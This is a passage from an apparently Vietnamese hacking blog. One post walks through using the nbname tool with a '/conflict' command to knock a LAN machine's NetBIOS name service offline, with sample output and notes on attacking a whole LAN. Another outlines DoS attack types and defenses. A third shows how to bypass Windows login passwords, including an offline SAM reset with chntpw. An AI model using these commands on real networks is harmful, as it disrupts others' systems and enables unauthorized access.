4 70 ms 90 ms 30 ms localhost [203.210.146.10]
5 20 ms 30 ms 20 ms 203.162.119.161

- Lưu ý 2 số IP localhost là IP do dv mạng che lại và thông thường đó là số IP cua ADSL nó không làm được cái trò trống gì đâu á . Cái cuối cùng là cái ăn thua đó . À còn với các bạn sử dụng máy nhà thì có lẽ đơn giản hơn nhiều vì thông thường nó chỉ xuất hiện cái IP cuối cùng thôi .

- À đọc xong thì có lẽ có bạn hỏi tôi , các số IP còn lại thì sao ? Các số còn lại chính là localhost của chính dv bạn làm đó . Muốn xác định được nó thì bạn cứ :

c:window>ipconfig /all

Cocuments and SettingsAdministrator>ipconfig /all

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : May70
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139/810x Family Fast Eth
ernet NIC
Physical Address. . . . . . . . . : 00-E0-1A-00-0B-6C
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 10.0.0.70
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.138
DNS Servers . . . . . . . . . . . : 203.162.4.1
203.162.0.11

Loại tất cả các số IP đó ra hen , vì đó thường là các số IP local do các dv mạch định không phải là IP thực . Còn IP cùa mình thì :

http://www.chaoga.com ( diển đàn này không cho đoạn code [web] , bó chân luôn , click vô đó tạm vậy )

Hack_dos_LAN

Tấn Công Dos Trong Lan - 23/11/2003 3h:7

Từ trước tới giờ chắc các bạn chỉ nghe đến tấn công DoS trên internet , chứ chưa nghe đến DoS trên LAN đâu nhỉ.
Có một tool giúp ta tấn công DoS vào dịch vụ NBNS (Net-BIOS Name Service) trên các máy dùng win2k trong LAN thông qua protocol NetBIOS.
Lưu ý : trước khi dùng tool này , bạn phải ngắt service NetBIOS của protcol TCP/IP để tránh xung đột với service NBNS hiện tại ( coi chừng gậy ông đập lưng ông ;-) ).
Rồi, bây giờ bạn download nbname tại download.tungxeng.net.ms. Unzip và thử tấn công thằng 192.168.234.222 xem sao (nbname chạy trong DOS):
CODE
C:\nbname /astat 192.168.234.222 /conflict
NBName v1.9 - Decodes and displays NetBIOS Name traffic (UDP 137), with options
Copyright 2000: Sir Dystic, Cult of the Dead Cow -:|:- New Hack City
Send complaints, ideas and donations to sd@cultdeadcow.com|sd@newhackcity.net

WinSock v2.0 (v2.2) WinSock 2.0
WinSock status: Running
Bound to port 137 o­n address 192.168.234.244
Broadcast address 192.168.234.255 Netmask: 255.255.255.0
**** NBSTAT QUERY packet sent to 192.168.234.222
Waiting for packets...
** Received 301 bytes from 192.168.234.222:137 via local net
at Web Jun 20 15:46:12 200
OPCode: QUERY
Flags: Response AuthoratativeAnswer
Answer [0]:
* <00>Node Status Resource Record:
MANDALAY <00> ACTIVE UNIQUE NOTPERM INCONFLICT NOTDEREGED B-NODE
MANDALAYFS <00> ACTIVE GROUP NOTPERM NOCONFLICT NOTDEREGED B-NODE
**** Name release sent to 192.168.234.222
....



Hậu quả của DoS đối với victim :
1. Kết nối mạng bị trục trặc
2. Làm ngưng các chức năng mạng ( vd chức năng Network Neighborhood)
3. Không dùng được chức năng net send
4. Gặp trục trặc với kết nối domain
5. Không thể truy cập được vào tài nguyên chia sẻ chung
6. Hỏng sevice NetBIOS
7. Dùng lệnh nbtstat -n sẽ gặp 1 bảng thông báo Conflict như sau :

CODE
LAN:
Node IpAddress: [192.168.234.222] Scope Id: []

NetBIOS Local Name Table

Name Type Status
--------------------------------------------------------------------
MANDALAY <00> UNIQUE Conflict
MANDALAYFS <00> GROUP Registered
MANDALAYFS <1C> GROUP Registered
MANDALAY <20> UNIQUE Conflict
MANDALAYFS <1E> GROUP Registered
MANDALAY <1D> UNIQUE Conflict
....

Bạn có thể tấn công tòan mạng LAN bằng cách thêm các tham số /QUERY , /DENY ...
Bạn gõ nbname / ? để tham khảo thêm các tham số kèm theo của nbname.

Hack_dos

Tấn công bằng từ chối dịch vụ DoS (Denial of Service) có thể mô tả như hành động ngăn cản những người dùng hợp pháp khả năng truy cập và sử dụng vào một dịch vụ nào đó. Nó bao gồm làm tràn ngập mạng, mất kết nối với dịch vụ… mà mục đích cuối cùng là máy chủ (Server) không thể đáp ứng được các yêu cầu sử dụng dịch vụ từ các máy trạm (Client).



DoS có thể làm ngưng hoạt động của một máy tính, một mạng nội bộ, thậm chí cả một hệ thống mạng rất lớn. Về bản chất thực sự của DoS, kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ từ các client khác.

Các cách thức tấn công DoS

Phá hoại dựa trên tính giới hạn hoặc không thể phục hồi của tài nguyên mạng

1. Thông qua kết nối

Tấn công kiểu SYN flood

Lợi dụng cách thức hoạt động của kết nối TCP/IP, hacker bắt đầu quá trình thiết lập một kết nối TPC/IP tới mục tiêu muốn tấn công mà không gửi trả gói tin ACK, khiến cho mục tiêu luôn rơi vào trạng thái chờ (đợi gói tin ACK từ phía yêu cầu thiết lập kết nối) và liên tục gửi gói tin SYN ACK để thiết lập kết nối. Một cách khác là giả mạo địa chỉ IP nguồn của gói tin yêu cầu thiết lập kết nối SYN và cũng như trường hợp trên, máy tính đích cũng rơi vào trạng thái chờ vì các gói tin SYN ACK không thể đi đến đích do địa chỉ IP nguồn là không có thật. Kiểu tấn công SYN flood được các hacker áp dụng để tấn công một hệ thống mạng có băng thông lớn hơn hệ thống của hacker.



2. Lợi dụng nguồn tài nguyên của chính nạn nhân để tấn công

Kiểu tấn công Land Attack

Kiểu tấn công Land Attack cũng tương tự như SYN flood, nhưng hacker sử dụng chính IP của mục tiêu cần tấn công để dùng làm địa chỉ IP nguồn trong gói tin, đẩy mục tiêu vào một vòng lặp vô tận khi cố gắng thiết lập kết nối với chính nó.

Kiểu tấn công UDP flood

Hacker gửi gói tin UDP echo với địa chỉ IP nguồn là cổng loopback của chính mục tiêu cần tấn công hoặc của một máy tính trong cùng mạng. Với mục tiêu sử dụng cổng UDP echo (port 7) để thiết lập việc gửi và nhận các gói tin echo trên 2 máy tính (hoặc giữa mục tiêu với chính nó nếu mục tiêu có cấu hình cổng loopback), khiến cho 2 máy tính này dần dần sử dụng hết băng thông của chúng, và cản trở hoạt động chia sẻ tài nguyên mạng của các máy tính khác trong mạng.

3.Sử dụng băng thông

Tấn công kiểu DDoS (Distributed Denial of Service)

Đây là cách thức tấn công rất nguy hiểm. Hacker xâm nhập vào các hệ thống máy tính, cài đặt các chương trình điều khiển từ xa, và sẽ kích hoạt đồng thời các chương trình này vào cùng một thời điểm để đồng loạt tấn công vào một mục tiêu. Với DDoS, các hacker có thể huy động tới hàng trăm thậm chí hàng ngàn máy tính cùng tham gia tấn công cùng một thời điểm (tùy vào sự chuẩn bị trước đó của hacker) và có thể "ngốn" hết băng thông của mục tiêu trong nháy mắt.



4.Sử dụng các nguồn tài nguyên khác

Kẻ tấn công lợi dụng các nguồn tài nguyên mà nạn nhân cần sử dụng để tấn công. Những kẻ tấn công có thể thay đổi dữ liệu và tự sao chép dữ liệu mà nạn nhân cần lên nhiều lần, làm CPU bị quá tải và các quá trình xử lý dữ liệu bị đình trệ.

Tấn công kiểu Smurf Attack

Kiểu tấn công này cần một hệ thống rất quan trọng, đó là mạng khuyếch đại. Hacker dùng địa chỉ của máy tính cần tấn công bằng cách gửi gói tin ICMP echo cho toàn bộ mạng (broadcast). Các máy tính trong mạng sẽ đồng loạt gửi gói tin ICMP reply cho máy tính mà hacker muốn tấn công. Kết quả là máy tính này sẽ không thể xử lý kịp thời một lượng lớn thông tin và dẫn tới bị treo máy.

Tấn công kiểu Tear Drop

Trong mạng chuyển mạch gói, dữ liệu được chia thành nhiều gói tin nhỏ, mỗi gói tin có một giá trị offset riêng và có thể truyền đi theo nhiều con đường khác nhau để tới đích. Tại đích, nhờ vào giá trị offset của từng gói tin mà dữ liệu lại được kết hợp lại như ban đầu. Lợi dụng điều này, hacker có thể tạo ra nhiều gói tin có giá trị offset trùng lặp nhau gửi đến mục tiêu muốn tấn công. Kết quả là máy tính đích không thể sắp xếp được những gói tin này và dẫn tới bị treo máy vì bị "vắt kiệt" khả năng xử lý.

Phá hoại hoặc chỉnh sửa thông tin cấu hình

Lợi dụng việc cấu hình thiếu an toàn như việc không xác thực thông tin trong việc gửi/nhận bản tin cập nhật (update) của router... mà kẻ tấn công sẽ thay đổi trực tiếp hoặc từ xa các thông tin quan trọng này, khiến cho những người dùng hợp pháp không thể sử dụng dịch vụ.

Ví dụ: hacker có thể xâm nhập vào DNS để thay đổi thông tin, dẫn đến quá trình biên dịch tên miền (domain) sang địa chỉ IP của DNS bị sai lệch. Hậu quả là các yêu cầu của máy trạm (Client) sẽ tới một tên miền khác (đã bị thay đổi) thay vì tên miền mong muốn.

Phá hoại hoặc chỉnh sửa phần cứng

Lợi dụng quyền hạn của chính bản thân kẻ tấn công đối với các thiết bị trong hệ thống mạng để tiếp cận phá hoại các thiết bị phần cứng như router, switch…

Các cách phòng chống

Hậu quả mà DoS gây ra không chỉ tiêu tốn nhiều tiền bạc, và công sức mà còn mất rất nhiều thời gian để khắc phục. Vì vậy, hãy sử dụng các biện pháp sau để phòng chống DoS:

Mô hình hệ thống cần phải được xây dựng hợp lý, tránh phụ thuộc lẫn nhau quá mức. Bởi khi một bộ phận gặp sự cố sẽ làm ảnh hưởng tới toàn bộ hệ thống.
Thiết lập mật khẩu mạnh (strong password) để bảo vệ các thiết bị mạng và các nguồn tài nguyên quan trọng khác.
Thiết lập các mức xác thực đối với người sử dụng cũng như các nguồn tin trên mạng. Đặc biệt, nên thiết lập chế độ xác thực khi cập nhật các thông tin định tuyến giữa các router.
Xây dựng hệ thống lọc thông tin trên router, firewall… và hệ thống bảo vệ chống lại SYN flood.
Chỉ kích hoạt các dịch vụ cần thiết, tạm thời vô hiệu hoá và dừng các dịch vụ chưa có yêu cầu hoặc không sử dụng.
Xây dựng hệ thống định mức, giới hạn cho người sử dụng, nhằm mục đích ngăn ngừa trường hợp người sử dụng ác ý muốn lợi dụng các tài nguyên trên server để tấn công chính server hoặc mạng và server khác.
Liên tục cập nhật, nghiên cứu, kiểm tra để phát hiện các lỗ hổng bảo mật và có biện pháp khắc phục kịp thời.
Sử dụng các biện pháp kiểm tra hoạt động của hệ thống một cách liên tục để phát hiện ngay những hành động bất bình thường.
Xây dựng và triển khai hệ thống dự phòng.

Find_password(win)

Vì nhiều lý do bạn có thể bị mất mật khẩu của tài khoản đăng nhập vào windows (do quên mất, do bị thay đổi ngoài ý muốn), bạn phải làm gì?
Nếu tài khoản bị mất mật khẩu không có quyền quản trị cao nhất (adminstrator) bạn có thể đăng nhập vào tài khoản có quyền Administrator để thay đổi. Cụ thể các bước tiến hành là truy cập vào Control Panel --> User Accounts --> chọn tài khoản cần Reset mật khẩu sau đó chọn "Change the password" hoặc "Remove the password" là thành công.
?FPRIVATE "TYPE=PICT;ALT="
Trường hợp bạn quên mật khẩu của tài khoản không phải tên Administrator. Bạn có thể tự khắc phục bằng cách sau:
- Khởi động lại máy tính và khi Windows hiển thị màn hình Logon, bấm tổ hợp phím Ctrl + Alt + Del 2 lần, một màn hình login khác sẽ hiện ra. Trong mục Username bạn gõ vào là Administrator. Và mục Password bạn để trống sau đó bấm Enter. Bình thường khi cài đặt Windows thì mật khẩu của tài khoản Administrator thường được để trống nên bạn có thể dùng cách trên để login vào Windows
- Sau khi login được vào Windows, bạn kích phải chuột vào My Computer -> Manage. Một cửa sổ quản trị hiện lên, bạn chọn vào mục Local Users and Groups -> Users. Bên phải sẽ hiển thị ra danh sách của tất cả các tài khoản có trong máy tính của bạn. Chọn tài khoản bạn quên mật khẩu, kích phải chuột chọn Set Password. Sau đó nhập lại Password mới cho tài khoản đó rồi bấm OK.
- Khởi động lại máy tính và đăng nhập lại tài khoản với mật khẩu mới là được.
Trường hợp tài khoản quên mật khẩu là Administrator thì cách tháo gỡ phức tạp hơn. Bạn sử dụng công cụ Offline NT Password & Registry của Pnordahl để Reset mật khẩu của tài khoản Administrator một cách đơn giản và hiệu quả.
Công cụ này áp dụng cho các hệ điều hành Windows 2000, XP, 2003 chạy hệ thống định dạng tập tin FAT32 và NTFS và bạn chỉ cần trang bị một chiếc đĩa mềm là đủ.
Cách thức hoạt động của công cụ này là sử dụng các tập tin khởi động tối thiểu của hệ điều hành Linux và tiến hành truy nhập vào SAM (%Systemroot%\System32\config\SAM) là nơi lưu trữ mật khẩu của người dùng trong hệ điều hành Windows, sau đó chạy các lệnh để Reset mật khẩu. Tải công cụ này về máy tính theo địa chỉ sau: http://home.eunet.no/~pnordahl/ntpasswd/bd050303.zip
Các bước tạo đĩa mềm để thực hiện:
- Cho đĩa mềm vào ổ
- Chạy tập tin install.bat
- Nhập vào tên ổ đĩa mềm tại dấu nhắc: "Enter target diskette drive:" (thông thường là A:)
Sau đó chờ công cụ tiến hành chép các tập tin cần thiết vào đĩa mềm. Sau khi chép xong hệ thống báo bấm phím bất kỳ để kết thúc và chúng ta đã có chiếc điã mềm chứa công cụ để thực hiện.
Các bước tiến hành Reset mật khẩu
Đưa đĩa mềm vào máy tính cần Reset mật khẩu và khởi động từ đĩa mềm này.
Chờ hệ thống khởi động và sau khi khởi động chúng ta tới màn hành để thực hiện
Which disk contains your Windows system?
=========================================================
. Step ONE: Select disk where the Windows installation is
=========================================================
Disks:
Disk /dev/ide/host0/bus0/target0/lun0/disc: 2147 MB, 2147483648 bytes
NT partitions found:
1 : /dev/ide/host0/bus0/target0/lun0/part1 2043MB Boot

Please select partition by number or
a = show all partitions, d = automatically load new disk drivers
m = manually load new disk drivers
l = relist NTFS/FAT partitions, q = quit
Select: [1]

Tại màn hình này công cụ tự động rò tìm ra các phân vùng trên các đĩa cứng của hệ thống và chúng ta chỉ việc chọn phân vùng đã cài đặt Windows. (ở tình huống này chúng tôi chọn 1) Tiếp theo màn hình hiện ra các lựa chọn để thực hiện.

Selected 1
Mounting on /dev/ide/host0/bus0/target0/lun0/part1
NTFS volume version 3.1.
Filesystem is: NTFS
=========================================================
. Step TWO: Select PATH and registry files
=========================================================
What is the path to the registry directory? (relative to windows disk)
[windows/system32/config] :
-r-------- 1 0 0 262144 Jan 12 18:01 SAM
-r-------- 1 0 0 262144 Jan 12 18:01 SECURITY
-r-------- 1 0 0 262144 Jan 12 18:01 default
-r-------- 1 0 0 8912896 Jan 12 18:01 software
-r-------- 1 0 0 2359296 Jan 12 18:01 system
dr-x------ 1 0 0 4096 Sep 8 11:37 systemprofile
-r-------- 1 0 0 262144 Sep 8 11:53 userdiff
Select which part of registry to load, use predefined choices
or list the files with space as delimiter
1 - Password reset [sam system security]
2 - RecoveryConsole parameters [software]
q - quit - return to previous
[1] :

Chọn 1 để thực hiện Reset password và màn hình tiếp theo hiện ra như sau

=========================================================
. Step THREE: Password or registry edit
=========================================================
chntpw version 0.99.2 040105, © Petter N Hagen
[.. some file info here ..]
* SAM policy limits:
Failed logins before lockout is: 0
Minimum password length : 0
Password history count : 0
<>========<> chntpw Main Interactive Menu <>========<>

Loaded hives:
1 - Edit user data and passwords
2 - Syskey status & change
3 - RecoveryConsole settings
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)
What to do? [1] -> 1

Tiếp tục chọn 1. Đó màn hình sẽ hiện ra các User của hệ thống

What to do? [1] -> 1
===== chntpw Edit User Info & Passwords ====
RID: 01f4, Username:
RID: 01f5, Username: , *disabled or locked*
RID: 03e8, Username: , *disabled or locked*
RID: 03eb, Username:

, *disabled or locked*
RID: 03ea, Username: , *disabled or locked*
Select: ! - quit, . - list users, 0x - User with RID (hex)
or simply enter the username to change: [Administrator]

Trong trường hợp này máy của chúng tôi đang sử dụng User Administrator chúng tôi nhấp Enter để lựa chọn. (Bạn có thể chọn User khác để Reset bằng cách gõ vào tên User đó) và màn hình tiếp theo như sau:

RID : 0500 [01f4]
Username: Administrator
fullname:
comment : Built-in account for administering the computer/domain
homedir :
Account bits: 0x0210 =
[ ] Disabled | [ ] Homedir req. | [ ] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account | [ ] NMS account |
[ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act |
[X] Pwd don't expir | [ ] Auto lockout | [ ] (unknown 0x08) |
[ ] (unknown 0x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |

Failed login count: 0, while max tries is: 0
Total login count: 3
* = blank the password (This may work better than setting a new password!)
Enter nothing to leave it unchanged
Please enter new password: *

Tại màn hình này bạn nhập vào Password mới cho User administrator đã chọn (các bạn lên chọn * để Reset mật khẩu về trắng - đây là khuyến cáo của chương trình này). Sau đó hệ thống hỏi bạn có thực sự muốn Reset mật khẩu không

Do you really wish to change it? (y/n) [n] y

Loaded hives:
1 - Edit user data and passwords
2 - Syskey status & change
3 - RecoveryConsole settings
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)
What to do? [1] -> q

Chọn Y để đồng ý và chờ một chút để công cụ tiến hành thực hiện. Sau đó màn hình sẽ quay về các lựa chọn. Chọn q để kết thúc quá trình Reset và màn hình tiếp theo hiện ra như sau và tiếp tục chọn y để kết thúc.

Hives that have changed:
# Name
0 - OK
=========================================================
. Step FOUR: Writing back changes
=========================================================
About to write file(s) back! Do it? [n] : y
THIS IS YOUR LAST CHANCE! If you answer y here there will be a write to disk!
Writing sam

NOTE: A disk fixup will now be done.. it may take some time

Mounting volume... OK
Processing of $MFT and $MFTMirr completed successfully.

NTFS volume version is 3.1.

Setting required flags on partition... OK

Going to empty the journal ($LogFile)... OK

NTFS partition /dev/ide/host0/bus0/target0/lun0/part1 was processed successfully.
NOTE: Windows will run a diskcheck (chkdsk) on next boot.
NOTE: this is to ensure disk intergity after the changes
***** EDIT COMPLETE *****
You can try again if it somehow failed, or you selected wrong
New run? [n] : n
Cuối cùng bạn chọn n khi công cụ hỏi bạn có muốn thực hiện lại quá trình trên không và đưa đĩa mềm ra khởi động lại. Và bây giờ User administrator có mật khẩu trắng và bạn lại tiếp tục đăng nhập vào hệ thống bình thường.
Chú ý: Ngoài việc thực hiện trên đĩa mền bạn có thể tạo ra đĩa CD để thực hiện các thao tác trên. Để tạo đĩa CD bạn tham khảo thêm tại địa chỉ: http://home.eunet.no/~pnordahl/ntpasswd/



Hack_basic

December 2009
M T W T F S S
November 2009January 2010
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31